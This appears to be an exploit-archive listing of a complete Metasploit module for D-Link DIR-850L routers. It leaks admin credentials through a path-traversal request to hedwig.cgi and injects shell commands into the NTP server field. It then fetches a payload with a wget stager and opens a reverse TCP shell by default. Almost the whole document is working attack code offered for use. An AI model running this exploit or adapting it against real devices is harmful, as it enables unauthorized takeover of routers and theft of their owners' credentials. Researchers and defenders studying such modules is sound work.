D-Link DIR-850L Unauthenticated Command Execution

2017.11.14
Credit: Zdenda
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'DIR-850L (Un)authenticated OS Command Exec', 'Description' => %q{ This module leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands on DIR-850L routers as an authenticated user. Unable to use Meterpreter payloads. }, 'Author' => [ 'Mumbai', # https://github.com/realoriginal (module) 'Zdenda' # vuln discovery ], 'References' => [ ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'], ], 'DisclosureDate' => 'Aug 9 2017', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp' }, 'Privileged' => true, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [[ 'Automatic', {} ]], )) end def check begin res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if res && res.headers['Server'] auth = res.headers['Server'] if auth =~ /DIR-850L/ if auth =~ /WEBACCESS\/1\.0/ return Exploit::CheckCode::Safe else return Exploit::CheckCode::Detected end end end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well... # should write an auxiliary module to-do -> WRITE AUXILIARY def retrieve_creds begin xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" xml << "<postxml>\r\n" xml << "<module>\r\n" xml << " <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n" xml << "</module>\r\n" xml << "</postxml>" res = send_request_cgi({ 'uri' => '/hedwig.cgi', 'method' => 'POST', 'encode_params' => false, 'headers' => { 'Accept-Encoding' => 'gzip, deflate', 'Accept' => '*/*' }, 'ctype' => 'text/xml', 'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}", 'data' => xml, }) if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue parse = res.get_xml_document username = parse.at('//name').text password = parse.at('//password').text vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}") loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body) print_good("#{peer} - Downloaded credentials to #{loot}") return username, password else fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained") end rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") end end def retrieve_uid begin res = send_request_cgi({ 'uri' => '/authentication.cgi', 'method' => 'GET', }) parse = res.get_json_document uid = parse['uid'] challenge = parse['challenge'] return uid, challenge rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") end end def login(username, password) uid, challenge = retrieve_uid begin hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase send_request_cgi({ 'uri' => '/authentication.cgi', 'method' => 'POST', 'data' => "id=#{username}&password=#{hash}", 'cookie' => "uid=#{uid}" }) return uid rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") end end def execute_command(cmd, opts) uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n" payload << "<postxml>\r\n" payload << "<module>\r\n" payload << " <service>DEVICE.TIME</service>\r\n" payload << " <device>\r\n" payload << " <time>\r\n" payload << " <ntp>\r\n" payload << " <enable>1</enable>\r\n" payload << " <period>604800</period>\r\n" payload << " <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n" payload << " </ntp>\r\n" payload << " <ntp6>\r\n" payload << " <enable>1</enable>\r\n" payload << " <period>604800</period>\r\n" payload << " </ntp6>\r\n" payload << " <timezone>20</timezone>\r\n" payload << " <time/>\r\n" payload << " <date/>\r\n" payload << " <dst>0</dst>\r\n" payload << " <dstmanual/>\r\n" payload << " <dstoffset/>\r\n" payload << " </time>\r\n" payload << " </device>\r\n" payload << "</module>\r\n" payload << "</postxml>" begin # save configuration res = send_request_cgi({ 'uri' => '/hedwig.cgi', 'method' => 'POST', 'ctype' => 'text/xml', 'data' => payload, 'cookie' => "uid=#{uid}" }) # execute configuration res = send_request_cgi({ 'uri' => '/pigwidgeon.cgi', 'method' => 'POST', 'data' => 'ACTIONS=SETCFG,ACTIVATE', 'cookie' => "uid=#{uid}" }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.") end end def exploit print_status("#{peer} - Connecting to target...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url") end # # Information Retrieval, obtains creds and logs in # @username, @password = retrieve_creds execute_cmdstager( :flavor => :wget, :linemax => 200 ) end end


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